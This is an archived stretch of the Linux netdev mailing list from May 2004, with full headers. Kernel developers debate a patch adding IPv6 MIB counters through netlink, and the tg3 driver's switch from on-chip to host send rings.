<20040526132215.06e0bc12.davem@redhat.com> <20040526134415.483a6384.davem@redhat.com> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5368 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article <20040526134415.483a6384.davem@redhat.com> (at Wed, 26 May 2004 13:44:15 -0700), "David S. Miller" says: > On Wed, 26 May 2004 13:42:23 -0700 > Shirley Ma wrote: > > > Yes, same structure ip_stats applys to IPv4 as well. > > Great, patch applied. I failed to comment because I've just waken up... Hmm, why are you so hurrying? It on -rc stage and 2.6.7 is coming. Each people should moderate yourself... Sorry, please exclude it for now. Comments: Without adding support for u64 counter, it does not make sense to add new interface. You can add new counter to the end of the structures. This also contains per-interface statistics support. (I rember that you said that) we should add idev into an route and avoid get/put idev. I strongly do not want to poeple to change their code twice to support draft-ietf-ipv6-rfc2011-update-XX.txt. I personally think this should be included in 2.7 phase. --yoshfuji @ morning From yoshfuji@linux-ipv6.org Wed May 26 16:21:32 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 26 May 2004 16:21:45 -0700 (PDT) Received: from yue.hongo.wide.ad.jp ([203.178.140.15]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4QNLVgi026202 for ; Wed, 26 May 2004 16:21:32 -0700 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 57AD533CE5; Thu, 27 May 2004 08:22:06 +0900 (JST) Date: Thu, 27 May 2004 08:22:06 +0900 (JST) Message-Id: <20040527.082206.99214228.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: xma@us.ibm.com, mashirle@us.ibm.com, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH]Add new IPv6 MIBs counters support through netlink From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <20040527.080828.06774575.yoshfuji@linux-ipv6.org> References: <20040526134415.483a6384.davem@redhat.com> <20040527.080828.06774575.yoshfuji@linux-ipv6.org> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=iso-2022-jp Content-Transfer-Encoding: 7bit X-archive-position: 5369 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev To clarify... In article <20040527.080828.06774575.yoshfuji@linux-ipv6.org> (at Thu, 27 May 2004 08:08:28 +0900 (JST)), YOSHIFUJI Hideaki / $B5HF#1QL@(B says: > I strongly do not want to poeple to change their code twice to support > draft-ietf-ipv6-rfc2011-update-XX.txt. (because of u64 things) > I personally think this should be included in 2.7 phase. (because of route things) --yoshfuji From davem@redhat.com Wed May 26 16:23:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 26 May 2004 16:23:15 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4QNNCgi026426 for ; Wed, 26 May 2004 16:23:12 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4QNN7i5015142; Wed, 26 May 2004 19:23:07 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4QNN7024167; Wed, 26 May 2004 19:23:07 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i4QNN2hk004635; Wed, 26 May 2004 19:23:02 -0400 Date: Wed, 26 May 2004 16:22:23 -0700 From: "David S. Miller" To: yoshfuji@linux-ipv6.org Cc: xma@us.ibm.com, mashirle@us.ibm.com, netdev@oss.sgi.com Subject: Re: [PATCH]Add new IPv6 MIBs counters support through netlink Message-Id: <20040526162223.68e9e064.davem@redhat.com> In-Reply-To: <20040527.080828.06774575.yoshfuji@linux-ipv6.org> References: <20040526132215.06e0bc12.davem@redhat.com> <20040526134415.483a6384.davem@redhat.com> <20040527.080828.06774575.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i4QNNCgi026426 X-archive-position: 5370 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 27 May 2004 08:08:28 +0900 (JST) YOSHIFUJI Hideaki / $B5HF#1QL@(B wrote: > Hmm, why are you so hurrying? I've only added it to my tree and have not pushed it off to Linus. I was in fact waiting for your feedback to occur first :-) I see no way we will get the proper u64 support working any time soon, it is a hard problem to get that right and with acceptable performance on 32-bit platforms. About idev in routes, we can add that as an optimization later. Poor Shirley has waited long enough to get this feature integrated and given current knowledge it is the best working implementation we can come up with at this time. From xma@us.ibm.com Wed May 26 16:32:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 26 May 2004 16:32:40 -0700 (PDT) Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4QNWRgi026931 for ; Wed, 26 May 2004 16:32:34 -0700 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i4QNWDY0143804; Wed, 26 May 2004 19:32:13 -0400 Received: from d03nm124.boulder.ibm.com (d03av04.boulder.ibm.com [9.17.195.170]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4QNWCRV202532; Wed, 26 May 2004 17:32:12 -0600 In-Reply-To: <20040527.080828.06774575.yoshfuji@linux-ipv6.org> To: YOSHIFUJI Hideaki / =?ISO-2022-JP?B?GyRCNUhGIzFRTEAbKEI=?= Cc: davem@redhat.com, mashirle@us.ibm.com, netdev@oss.sgi.com, "Hideaki YOSHIFUJI" , yoshfuji@linux-ipv6.org MIME-Version: 1.0 Subject: Re: [PATCH]Add new IPv6 MIBs counters support through netlink X-Mailer: Lotus Notes Release 6.5.1 January 21, 2004 Message-ID: From: Shirley Ma Date: Wed, 26 May 2004 16:32:04 -0700 X-MIMETrack: Serialize by Router on D03NM124/03/M/IBM(Release 6.0.2CF2HF259 | March 11, 2004) at 05/26/2004 17:32:12, Serialize complete at 05/26/2004 17:32:12 Content-Type: multipart/alternative; boundary="=_alternative 00814B0407256EA0_=" X-archive-position: 5371 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: xma@us.ibm.com Precedence: bulk X-list: netdev This is a multipart message in MIME format. --=_alternative 00814B0407256EA0_= Content-Type: text/plain; charset="US-ASCII" Hi,Yoshifuji Thanks for you comments! > Without adding support for u64 counter, it does not make sense to add > new interface. You can add new counter to the end of the structures. It's not good to add new counters to the end of the old structure. The mib number and offset will be wrong. >This also contains per-interface statistics support. (I rember that you said that) we should add idev into an route and avoid get/put idev. Only a few get/put idev there, not too many. And in some places there are no route, no we can't use idev in route. > I strongly do not want to poeple to change their code twice to support draft-ietf-ipv6-rfc2011-update-XX.txt. All the counters not just IP will be eventually 64 bits. We can fix it later. And if we implement 64 counters here, there is performance issue on some architectures which don't support atmoic 64 for 32 bit platform. Thanks Shirley Ma IBM Linux Technology Center 15300 SW Koll Parkway Beaverton, OR 97006-6063 Phone: (503) 578-7638 FAX: (503) 578-3228 --=_alternative 00814B0407256EA0_= Content-Type: text/html; charset="US-ASCII"
    Hi,Yoshifuji

            Thanks for you comments!

    > Without adding support for u64 counter, it does not make sense to add
    > new interface. You can add new counter to the end of the structures.

    It's not good to add new counters to the end of the old structure. The mib
    number and offset will be wrong.

    >This also contains per-interface statistics support.
    (I rember that you said that) we should add idev into an route and avoid
    get/put idev.

    Only a few get/put idev there, not too many. And in some places there are no
    route, no we can't use idev in route.

    > I strongly do not want to poeple to change their code twice to support
    draft-ietf-ipv6-rfc2011-update-XX.txt.

    All the counters not just IP will be eventually 64 bits. We can fix it later. And

    if we implement 64 counters here, there is performance issue on some
    architectures which don't support atmoic 64 for 32 bit platform.

    Thanks
    Shirley Ma
    IBM Linux Technology Center
    15300 SW Koll Parkway
    Beaverton, OR 97006-6063
    Phone: (503) 578-7638
    FAX:      (503) 578-3228

    --=_alternative 00814B0407256EA0_=-- From xma@us.ibm.com Wed May 26 16:34:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 26 May 2004 16:34:20 -0700 (PDT) Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4QNYCgk027221 for ; Wed, 26 May 2004 16:34:19 -0700 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e35.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i4QNY6qF610492; Wed, 26 May 2004 19:34:06 -0400 Received: from d03nm124.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.195.168]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i4QNY6RV160588; Wed, 26 May 2004 17:34:06 -0600 In-Reply-To: <20040526162223.68e9e064.davem@redhat.com> To: "David S. Miller" Cc: mashirle@us.ibm.com, netdev@oss.sgi.com, netdev-bounce@oss.sgi.com, yoshfuji@linux-ipv6.org MIME-Version: 1.0 Subject: Re: [PATCH]Add new IPv6 MIBs counters support through netlink X-Mailer: Lotus Notes Release 6.5.1 January 21, 2004 Message-ID: From: Shirley Ma Date: Wed, 26 May 2004 16:34:04 -0700 X-MIMETrack: Serialize by Router on D03NM124/03/M/IBM(Release 6.0.2CF2HF259 | March 11, 2004) at 05/26/2004 17:34:05, Serialize complete at 05/26/2004 17:34:05 Content-Type: multipart/alternative; boundary="=_alternative 008179C007256EA0_=" X-archive-position: 5372 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: xma@us.ibm.com Precedence: bulk X-list: netdev This is a multipart message in MIME format. --=_alternative 008179C007256EA0_= Content-Type: text/plain; charset="US-ASCII" > Poor Shirley has waited long enough to get this feature integrated and given current knowledge it is the best working implementation we can come up with at this time. Appreciate your understanding. Maitaining this patch takes time. Thanks Shirley Ma IBM Linux Technology Center 15300 SW Koll Parkway Beaverton, OR 97006-6063 Phone: (503) 578-7638 FAX: (503) 578-3228 --=_alternative 008179C007256EA0_= Content-Type: text/html; charset="US-ASCII"
    > Poor Shirley has waited long enough to get this feature integrated
    and given current knowledge it is the best working implementation
    we can come up with at this time.


    Appreciate your understanding. Maitaining this patch takes time.


    Thanks
    Shirley Ma
    IBM Linux Technology Center
    15300 SW Koll Parkway
    Beaverton, OR 97006-6063
    Phone: (503) 578-7638
    FAX:      (503) 578-3228
    --=_alternative 008179C007256EA0_=-- From gnb@speed.melbourne.sgi.com Wed May 26 16:51:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 26 May 2004 16:51:32 -0700 (PDT) Received: from omx1.americas.sgi.com (cfcafw.sgi.com [198.149.23.1]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4QNpSgi027832 for ; Wed, 26 May 2004 16:51:28 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by omx1.americas.sgi.com (8.12.10/8.12.9/linux-outbound_gateway-1.1) with SMTP id i4QNliiv027135 for ; Wed, 26 May 2004 18:47:46 -0500 Received: from speed.melbourne.sgi.com (speed.melbourne.sgi.com [134.14.55.174]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id JAA02310; Thu, 27 May 2004 09:47:34 +1000 Received: by speed.melbourne.sgi.com (Postfix, from userid 16345) id 1485757980; Thu, 27 May 2004 09:47:33 +1000 (EST) Date: Thu, 27 May 2004 09:47:33 +1000 From: Greg Banks To: "David S. Miller" Cc: mchan@broadcom.com, netdev@oss.sgi.com Subject: Re: [PATCH] fix BUG in tg3_tx Message-ID: <20040526234732.GA5958@sgi.com> References: <20040526160443.GD4557@sgi.com> <20040526110121.657f2d42.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040526110121.657f2d42.davem@redhat.com> User-Agent: Mutt/1.3.27i X-archive-position: 5373 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: gnb@sgi.com Precedence: bulk X-list: netdev On Wed, May 26, 2004 at 11:01:21AM -0700, David S. Miller wrote: > On Thu, 27 May 2004 02:04:43 +1000 > Greg Banks wrote: > > > [...] is there a good reason why the tg3 driver uses > > the on-chip SRAM send ring by default instead of the host send > > ring?[...] > > It actually results in better performance to use PIOs to the > chip to write the TXD descriptors. You may be skeptical about > this but it cannot be denied that it does result in lower > latency as we don't have to wait for the chip to do it's next > prefetch and _furthermore_ this means that no CPU cache lines > will bounce from cpu-->device in order to get the descriptors > to the chip. Actually I am skeptical. I suspect the performance difference is dependent on chipset and load. In the case I'm looking at (multiple NIC NFS read loads) there would be 7 to 10 32-bit PIOs emitted per call to tg3_start_xmit. With 3 NICs' worth of near line-rate traffic going through one chipset, that's a lot of PIOs. The scaling work we're doing will require 2 to 3 times more traffic than this. For this kind of load the latency cost may be worth the efficiency gain for the chipset. If we can show a performance improvement on our hardware, would you accept a patch to enable host send rings on our hardware only? Greg. -- Greg Banks, R&D Software Engineer, SGI Australian Software Group. I don't speak for SGI. From davem@redhat.com Wed May 26 16:53:24 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 26 May 2004 16:53:27 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4QNrNgi028152 for ; Wed, 26 May 2004 16:53:23 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4QNrMi5022989; Wed, 26 May 2004 19:53:22 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4QNrL032409; Wed, 26 May 2004 19:53:21 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i4QNrGhk014024; Wed, 26 May 2004 19:53:17 -0400 Date: Wed, 26 May 2004 16:52:38 -0700 From: "David S. Miller" To: Greg Banks Cc: mchan@broadcom.com, netdev@oss.sgi.com Subject: Re: [PATCH] fix BUG in tg3_tx Message-Id: <20040526165238.60eae8ff.davem@redhat.com> In-Reply-To: <20040526234732.GA5958@sgi.com> References: <20040526160443.GD4557@sgi.com> <20040526110121.657f2d42.davem@redhat.com> <20040526234732.GA5958@sgi.com> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5374 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 27 May 2004 09:47:33 +1000 Greg Banks wrote: > If we can show a performance improvement on our hardware, would you > accept a patch to enable host send rings on our hardware only? Did you read my other email? I already made the change globally in my sources. tg3 will always use host send rings now. From gnb@speed.melbourne.sgi.com Wed May 26 16:55:47 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 26 May 2004 16:55:49 -0700 (PDT) Received: from zok.sgi.com (mtvcafw.sgi.com [192.48.171.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4QNtlgi028484 for ; Wed, 26 May 2004 16:55:47 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by zok.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with SMTP id i4QNoFhv029375 for ; Wed, 26 May 2004 16:50:17 -0700 Received: from speed.melbourne.sgi.com (speed.melbourne.sgi.com [134.14.55.174]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id JAA02339; Thu, 27 May 2004 09:50:08 +1000 Received: by speed.melbourne.sgi.com (Postfix, from userid 16345) id 5D22C57980; Thu, 27 May 2004 09:50:08 +1000 (EST) Date: Thu, 27 May 2004 09:50:08 +1000 From: Greg Banks To: Michael Chan Cc: "David S. Miller" , netdev@oss.sgi.com Subject: Re: [PATCH] fix BUG in tg3_tx Message-ID: <20040526235008.GB5958@sgi.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.27i X-archive-position: 5375 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: gnb@sgi.com Precedence: bulk X-list: netdev On Wed, May 26, 2004 at 10:43:10AM -0700, Michael Chan wrote: > > > [...] is there a good reason why the tg3 driver > > uses the on-chip SRAM send ring by default instead of the > > host send ring?[...] > > I can only speak for the Broadcom bcm5700 driver. We used to use NIC > send BDs by default before zero copy transmit and TSO were implemented > in the kernel. Using only one BD per packet at that time, we found that > performance on some machines were sometimes slightly better. Especially > with logic to save some PIO when some of the fields in the BD have not > changed. The driver has now been changed to use host send BDs to perform > better with zero copy and especially TSO where you may need many BDs per > packet. I would recommend tg3 to make the switch also. Ah, it's precisely the zero copy case I'm interested in. I've measured 2 to 3 BDs per packet under my load. Greg. -- Greg Banks, R&D Software Engineer, SGI Australian Software Group. I don't speak for SGI. From yoshfuji@linux-ipv6.org Wed May 26 16:57:39 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 26 May 2004 16:57:42 -0700 (PDT) Received: from yue.hongo.wide.ad.jp ([203.178.140.15]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4QNvcgi028798 for ; Wed, 26 May 2004 16:57:38 -0700 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id D710B33CE5; Thu, 27 May 2004 08:58:12 +0900 (JST) Date: Thu, 27 May 2004 08:58:12 +0900 (JST) Message-Id: <20040527.085812.33823249.yoshfuji@linux-ipv6.org> To: xma@us.ibm.com Cc: davem@redhat.com, mashirle@us.ibm.com, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: [PATCH]Add new IPv6 MIBs counters support through netlink From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: References: <20040527.080828.06774575.yoshfuji@linux-ipv6.org> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5376 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article (at Wed, 26 May 2004 16:32:04 -0700), Shirley Ma says: > > Without adding support for u64 counter, it does not make sense to add > > new interface. You can add new counter to the end of the structures. > > It's not good to add new counters to the end of the old structure. The mib > > number and offset will be wrong. I don't think so. But, even if so, we can add only missing stats. > >This also contains per-interface statistics support. > (I rember that you said that) we should add idev into an route and avoid > get/put idev. > > Only a few get/put idev there, not too many. And in some places there are > no > route, no we can't use idev in route. okay. > > I strongly do not want to poeple to change their code twice to support > draft-ietf-ipv6-rfc2011-update-XX.txt. > > All the counters not just IP will be eventually 64 bits. We can fix it > later. And > if we implement 64 counters here, there is performance issue on some > architectures which don't support atmoic 64 for 32 bit platform. I strongly do not want to change interface twice to support these new statistics. --yoshfuji @ driving traffic jam From davem@redhat.com Wed May 26 17:02:27 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 26 May 2004 17:02:31 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4R02Qgi029156 for ; Wed, 26 May 2004 17:02:26 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4R02Ni5025440; Wed, 26 May 2004 20:02:23 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4R02N002269; Wed, 26 May 2004 20:02:23 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i4R02Ihk016522; Wed, 26 May 2004 20:02:18 -0400 Date: Wed, 26 May 2004 17:01:40 -0700 From: "David S. Miller" To: yoshfuji@linux-ipv6.org Cc: xma@us.ibm.com, mashirle@us.ibm.com, netdev@oss.sgi.com Subject: Re: [PATCH]Add new IPv6 MIBs counters support through netlink Message-Id: <20040526170140.4668dc21.davem@redhat.com> In-Reply-To: <20040527.085812.33823249.yoshfuji@linux-ipv6.org> References: <20040527.080828.06774575.yoshfuji@linux-ipv6.org> <20040527.085812.33823249.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i4R02Qgi029156 X-archive-position: 5377 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 27 May 2004 08:58:12 +0900 (JST) YOSHIFUJI Hideaki / $B5HF#1QL@(B wrote: > > All the counters not just IP will be eventually 64 bits. We can fix it > > later. And > > if we implement 64 counters here, there is performance issue on some > > architectures which don't support atmoic 64 for 32 bit platform. > > I strongly do not want to change interface twice to support these new > statistics. As a side note, I am worried about investing so much effort and expense if by the time we make 64-bit atomic counters work acceptably on 32-bit platforms we are all running Opteron machines :-) From gnb@speed.melbourne.sgi.com Wed May 26 17:06:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 26 May 2004 17:06:31 -0700 (PDT) Received: from omx1.americas.sgi.com (cfcafw.sgi.com [198.149.23.1]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4R06Sgi029509 for ; Wed, 26 May 2004 17:06:28 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by omx1.americas.sgi.com (8.12.10/8.12.9/linux-outbound_gateway-1.1) with SMTP id i4QNr1iv029117 for ; Wed, 26 May 2004 18:53:03 -0500 Received: from speed.melbourne.sgi.com (speed.melbourne.sgi.com [134.14.55.174]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id JAA02377; Thu, 27 May 2004 09:52:55 +1000 Received: by speed.melbourne.sgi.com (Postfix, from userid 16345) id 5406E57980; Thu, 27 May 2004 09:52:55 +1000 (EST) Date: Thu, 27 May 2004 09:52:55 +1000 From: Greg Banks To: "David S. Miller" Cc: Michael Chan , netdev@oss.sgi.com Subject: Re: [PATCH] fix BUG in tg3_tx Message-ID: <20040526235255.GC5958@sgi.com> References: <20040526114714.23fcf37d.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040526114714.23fcf37d.davem@redhat.com> User-Agent: Mutt/1.3.27i X-archive-position: 5378 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: gnb@sgi.com Precedence: bulk X-list: netdev On Wed, May 26, 2004 at 11:47:14AM -0700, David S. Miller wrote: > On Wed, 26 May 2004 10:43:10 -0700 > "Michael Chan" wrote: > > > I would recommend tg3 to make the switch also. > > Ok, I'll make it use DMA tx descriptors by default. Cool! Greg. -- Greg Banks, R&D Software Engineer, SGI Australian Software Group. I don't speak for SGI. From gnb@speed.melbourne.sgi.com Wed May 26 17:26:49 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 26 May 2004 17:26:53 -0700 (PDT) Received: from zok.sgi.com (mtvcafw.sgi.com [192.48.171.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4R0Qmgi030121 for ; Wed, 26 May 2004 17:26:49 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by zok.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with SMTP id i4R0CThv029514 for ; Wed, 26 May 2004 17:12:30 -0700 Received: from speed.melbourne.sgi.com (speed.melbourne.sgi.com [134.14.55.174]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id KAA02787; Thu, 27 May 2004 10:12:22 +1000 Received: by speed.melbourne.sgi.com (Postfix, from userid 16345) id E061E57980; Thu, 27 May 2004 10:12:21 +1000 (EST) Date: Thu, 27 May 2004 10:12:21 +1000 From: Greg Banks To: "David S. Miller" Cc: mchan@broadcom.com, netdev@oss.sgi.com Subject: Re: [PATCH] fix BUG in tg3_tx Message-ID: <20040527001221.GE5958@sgi.com> References: <20040526160443.GD4557@sgi.com> <20040526110121.657f2d42.davem@redhat.com> <20040526234732.GA5958@sgi.com> <20040526165238.60eae8ff.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040526165238.60eae8ff.davem@redhat.com> User-Agent: Mutt/1.3.27i X-archive-position: 5379 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: gnb@sgi.com Precedence: bulk X-list: netdev On Wed, May 26, 2004 at 04:52:38PM -0700, David S. Miller wrote: > On Thu, 27 May 2004 09:47:33 +1000 > Greg Banks wrote: > > > If we can show a performance improvement on our hardware, would you > > accept a patch to enable host send rings on our hardware only? > > Did you read my other email? I already made the change globally > in my sources. tg3 will always use host send rings now. Sorry, I'm using a crappy text mail tool over dialup at the moment which makes it hard to scan ahead for complete state before replying. I'm very happy about the change, thanks! Greg. -- Greg Banks, R&D Software Engineer, SGI Australian Software Group. I don't speak for SGI. From ray_cole@earthlink.net Wed May 26 21:07:39 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 26 May 2004 21:07:43 -0700 (PDT) Received: from mallard.mail.pas.earthlink.net (mallard.mail.pas.earthlink.net 